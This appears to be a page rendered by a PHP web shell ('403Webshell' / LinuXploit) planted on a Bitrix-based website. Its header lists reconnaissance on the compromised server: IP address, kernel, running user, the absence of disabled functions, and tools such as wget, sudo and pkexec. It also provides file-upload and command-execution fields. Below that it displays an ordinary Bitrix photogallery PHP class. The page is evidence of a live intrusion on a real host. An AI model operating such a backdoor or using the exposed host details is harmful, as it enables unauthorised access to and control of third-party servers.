403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/photogallery/lib/integration/socialnetwork/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/photogallery/lib/integration/socialnetwork/group.php
<?
/**
 * @access private
 */

namespace Bitrix\Photogallery\Integration\SocialNetwork;
use Bitrix\Main\Loader;

class Group
{
	public static function onSocNetGroupDelete($groupId)
	{
		if (!Loader::includeModule('iblock'))
		{
			return true;
		}

		$iblockIdList = array();
		$res = \CIBlock::getList(array(), array("ACTIVE" => "Y", "CODE"=>"group_photogallery%"));
		while($iblock = $res->fetch())
		{
			$iblockIdList[] = $iblock["ID"];
		}

		if (empty($iblockIdList))
		{
			return true;
		}

		$res = \CIBlockSection::getList(
			array(),
			array(
				"IBLOCK_ID" => $iblockIdList,
				"SOCNET_GROUP_ID" => $groupId
			),
			false,
			array('ID', 'LEFT_MARGIN', 'RIGHT_MARGIN')
		);
		while ($section = $res->fetch())
		{
			@set_time_limit(1000);

			$treeSectionIdList = $treeElementIdList = array();

			$pseudoComponentParams = array(
				'IS_SOCNET' => 'Y',
				'USER_ALIAS' => 'group_'.$groupId
			);

			$pseudoComponentResult = array(
				'SECTION' => $section
			);

			foreach(getModuleEvents("photogallery", "OnBeforeSectionDrop", true) as $event)
			{
				executeModuleEventEx($event, array($section['ID'], $pseudoComponentParams, $pseudoComponentResult, &$treeSectionIdList, &$treeElementIdList));
			}

			if (\CIBlockSection::delete($section['ID'], false))
			{
				$eventFields = array(
					"ID" => $section['ID'],
					"SECTIONS_IN_TREE" => $treeSectionIdList,
					"ELEMENTS_IN_TREE" => $treeElementIdList
				);
				foreach(getModuleEvents("photogallery", "OnAfterSectionDrop", true) as $event)
				{
					executeModuleEventEx($event, array($section['ID'], $eventFields, $pseudoComponentParams, $pseudoComponentResult));
				}
			}
		}

		return true;
	}
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit